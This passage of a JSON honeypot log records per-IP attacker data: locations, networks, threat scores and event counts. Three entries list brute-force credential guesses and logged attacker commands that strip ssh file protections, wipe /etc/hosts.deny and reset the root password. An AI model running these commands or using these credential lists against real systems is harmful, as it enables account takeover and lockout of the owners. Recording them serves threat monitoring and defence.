      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:08:26.836000+00:00",
        "last_seen_30d": "2026-05-02T20:09:48.977000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.2.196.197": {
      "attack_count": 2,
      "first_seen": "2026-05-05T02:39:42.457Z",
      "last_seen": "2026-05-05T02:39:55.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Asunci\u00f3n",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:39:42.457000+00:00",
        "last_seen_30d": "2026-05-05T02:41:38.426000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.55.198.152": {
      "attack_count": 2,
      "first_seen": "2026-05-29T11:27:15.895Z",
      "last_seen": "2026-05-29T11:29:15.903Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T11:27:15.895000+00:00",
        "last_seen_30d": "2026-05-29T11:39:57.877000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "186.91.112.214": {
      "attack_count": 2,
      "first_seen": "2026-05-31T00:04:37.188Z",
      "last_seen": "2026-05-31T00:04:51.992Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T00:04:37.188000+00:00",
        "last_seen_30d": "2026-05-31T00:05:52.988000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.183.203.123": {
      "attack_count": 2,
      "first_seen": "2026-05-06T23:08:39.022Z",
      "last_seen": "2026-05-06T23:08:51.931Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Corrientes",
      "asn": 20207,
      "as_org": "Gigared S.A.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T23:08:39.022000+00:00",
        "last_seen_30d": "2026-05-06T23:09:53.457000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.199.121.134": {
      "attack_count": 2,
      "first_seen": "2026-05-11T20:40:19.752Z",
      "last_seen": "2026-05-11T20:40:30.004Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 335,
        "days_active_30d": 4,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-11T20:40:19.752000+00:00",
        "last_seen_30d": "2026-05-14T14:37:14.767000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 224,
        "Honeytrap": 103,
        "ElasticPot": 5,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "198.235.24.72": {
      "attack_count": 2,
      "first_seen": "2026-05-21T18:22:45.204Z",
      "last_seen": "2026-05-21T18:22:45.381Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 30,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T18:13:35+00:00",
        "last_seen_30d": "2026-05-31T05:45:21.993000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 18,
        "Dionaea": 4,
        "Cowrie": 2
      }
    },
    "206.62.161.3": {
      "attack_count": 2,
      "first_seen": "2026-05-08T01:24:44.618Z",
      "last_seen": "2026-05-08T01:24:58.206Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Maicao",
      "asn": 61461,
      "as_org": "Airtek Solutions C.A.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:24:44.618000+00:00",
        "last_seen_30d": "2026-05-08T01:26:00.237000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "209.182.218.187": {
      "attack_count": 2,
      "first_seen": "2026-05-15T05:01:29.149Z",
      "last_seen": "2026-05-15T05:01:29.150Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 396948,
      "as_org": "Kamatera, Inc.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:01:29.149000+00:00",
        "last_seen_30d": "2026-05-15T05:02:30.111000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "218.74.20.16": {
      "attack_count": 2,
      "first_seen": "2026-05-15T23:07:07.784Z",
      "last_seen": "2026-05-15T23:07:19.785Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T23:07:07.784000+00:00",
        "last_seen_30d": "2026-05-15T23:08:28.558000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "218.79.188.50": {
      "attack_count": 2,
      "first_seen": "2026-05-11T04:25:08.779Z",
      "last_seen": "2026-05-11T04:25:22.599Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T04:25:08.779000+00:00",
        "last_seen_30d": "2026-05-11T04:26:32.620000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.134.21.50": {
      "attack_count": 2,
      "first_seen": "2026-05-31T09:06:52.746Z",
      "last_seen": "2026-05-31T09:07:23.467Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "East",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T09:06:52.746000+00:00",
        "last_seen_30d": "2026-05-31T09:08:24.582000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "23.17.35.68": {
      "attack_count": 2,
      "first_seen": "2026-05-22T07:30:22.894Z",
      "last_seen": "2026-05-22T07:30:53.498Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Coaldale",
      "asn": 852,
      "as_org": "TELUS Communications",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T07:30:22.894000+00:00",
        "last_seen_30d": "2026-05-22T07:31:56.495000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "27.25.4.47": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:36:42.158Z",
      "last_seen": "2026-05-23T13:37:47.938Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:36:42.158000+00:00",
        "last_seen_30d": "2026-05-23T13:38:53.146000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.248.169.86": {
      "attack_count": 2,
      "first_seen": "2026-05-24T18:25:04.822Z",
      "last_seen": "2026-05-24T18:27:04.843Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:25:04.822000+00:00",
        "last_seen_30d": "2026-05-24T18:37:42.224000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "49.15.250.73": {
      "attack_count": 2,
      "first_seen": "2026-05-10T19:12:48.690Z",
      "last_seen": "2026-05-10T19:13:02.442Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 45271,
      "as_org": "Vodafone Idea Ltd",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T19:12:48.690000+00:00",
        "last_seen_30d": "2026-05-10T19:14:12.054000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.16.212.232": {
      "attack_count": 2,
      "first_seen": "2026-05-15T04:29:07.354Z",
      "last_seen": "2026-05-15T04:29:07.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Incheon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:29:07.354000+00:00",
        "last_seen_30d": "2026-05-15T04:30:09.735000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "79.165.136.195": {
      "attack_count": 2,
      "first_seen": "2026-05-19T08:22:52.214Z",
      "last_seen": "2026-05-19T08:24:52.216Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Balashikha",
      "asn": 8615,
      "as_org": "Central Telegraph Public Joint-stock Company",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:22:52.214000+00:00",
        "last_seen_30d": "2026-05-19T08:35:00.572000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.229.247.206": {
      "attack_count": 2,
      "first_seen": "2026-05-03T05:47:20.929Z",
      "last_seen": "2026-05-03T05:47:34.124Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": null,
      "asn": 42013,
      "as_org": "Together Communication LTD",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T05:47:20.929000+00:00",
        "last_seen_30d": "2026-05-03T05:48:37.854000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "146.190.45.26": {
      "attack_count": 1995,
      "first_seen": "2026-05-27T21:24:59.332Z",
      "last_seen": "2026-05-29T10:28:57.681Z",
      "sessions": 999,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3263,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T21:24:59.332000+00:00",
        "last_seen_30d": "2026-05-29T10:30:00.613000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1995,
        "Suricata": 1268
      }
    },
    "165.154.205.128": {
      "attack_count": 613,
      "first_seen": "2026-05-23T12:30:52.729Z",
      "last_seen": "2026-05-24T09:39:06.630Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "aroot",
        "alfresco",
        "b",
        "clawd",
        "deployer",
        "erika",
        "git",
        "ismail",
        "minecraft",
        "osboxes",
        "redis",
        "rizal",
        "temp",
        "test2",
        "tomas",
        "unifi",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123!",
        "123123",
        "123456",
        "1983",
        "2wsx#EDC",
        "Admin@123456.",
        "Asdasd123",
        "Asdfghjkl;'",
        "P@ssword12345",
        "Pa$$w0rd",
        "Qq1234567890",
        "Qwer123123",
        "Qwertyu123",
        "Welcome2026!",
        "Yx123456",
        "a",
        "admin123",
        "admin@9000"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2XVNbhiPhD6r\"|chpasswd|bash",
        "echo \"root:MZqgBFZMqbNx\"|chpasswd|bash",
        "echo \"root:cdd98yrwGi7D\"|chpasswd|bash",
        "echo \"root:mloFCC1MRaft\"|chpasswd|bash",
        "echo \"root:oHFvSGHYxkHP\"|chpasswd|bash",
        "echo \"root:zsHuDS3imMxk\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 751,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:30:52.729000+00:00",
        "last_seen_30d": "2026-05-24T09:40:13.773000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 613,
        "Suricata": 138
      }
    },
    "43.156.71.43": {
      "attack_count": 481,
      "first_seen": "2026-05-02T12:38:05.948Z",
      "last_seen": "2026-05-24T09:52:30.181Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "git",
        "hsadmin",
        "mysql",
        "user",
        "airflow",
        "arkserver",
        "automation",
        "azureuser",
        "bkp",
        "deploy",
        "erwin",
        "gitea",
        "info",
        "julian",
        "ops",
        "server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123123",
        "1234",
        "12345",
        "123456.",
        "123456789",
        "1234qwer",
        "123qwe",
        "13",
        "159753",
        "1qaz2wsx@123",
        "2022",
        "963852741",
        "Kingsoft@123",
        "P@ssw0rd2015",
        "Password@123",
        "Qwe123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"2022\\nGnouTQk33mOV\\nGnouTQk33mOV\\n\"|passwd",
        "echo \"hsadmin\\nGkwD9ybuUzmD\\nGkwD9ybuUzmD\\n\"|passwd",
        "echo \"root:xuntUfSFmao5\"|chpasswd|bash",
        "echo -e \"2022\\nGnouTQk33mOV\\nGnouTQk33mOV\"|passwd|bash",
        "echo -e \"hsadmin\\nGkwD9ybuUzmD\\nGkwD9ybuUzmD\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 45.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.9,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 623,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T12:38:05.948000+00:00",
        "last_seen_30d": "2026-05-24T09:53:33.027000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 481,
        "Suricata": 142
      }
    },
    "2.26.70.203": {
      "attack_count": 449,
      "first_seen": "2026-05-21T09:44:40.494Z",
      "last_seen": "2026-05-21T10:15:57.883Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chiji",
        "netadmin",
        "pham",
        "volcengine",
        "cho",
        "csgo",
        "dmit",
        "dovecot",
        "jdcloud",
        "jeon",
        "manager",
        "user",
        "yunwei"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "Dd112211",
        "cho",
        "fucker",
        "jdcloud",
        "jiemei",
        "kakao123",
        "ncloud",
        "netadmin",
        "test",
        "user123",
        "wangluo",
        "yunwei",
        "zz001"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nkEo4u46Ctvq3\\nkEo4u46Ctvq3\\n\"|passwd",
        "echo \"123456\\nz7pxXmhTHstp\\nz7pxXmhTHstp\\n\"|passwd",
        "echo \"netadmin\\n6M4JDqevHeTr\\n6M4JDqevHeTr\\n\"|passwd",
        "echo \"password\\nAiKDb8eT1MHP\\nAiKDb8eT1MHP\\n\"|passwd",
        "echo \"root:IauQkBacr8Nj\"|chpasswd|bash",
        "echo -e \"123456\\nkEo4u46Ctvq3\\nkEo4u46Ctvq3\"|passwd|bash",
        "echo -e \"123456\\nz7pxXmhTHstp\\nz7pxXmhTHstp\"|passwd|bash",
        "echo -e \"netadmin\\n6M4JDqevHeTr\\n6M4JDqevHeTr\"|passwd|bash",
        "echo -e \"password\\nAiKDb8eT1MHP\\nAiKDb8eT1MHP\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 517,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:44:40.494000+00:00",
        "last_seen_30d": "2026-05-21T10:17:02.996000+00:00",
        "days_since_last_seen": 10
      },
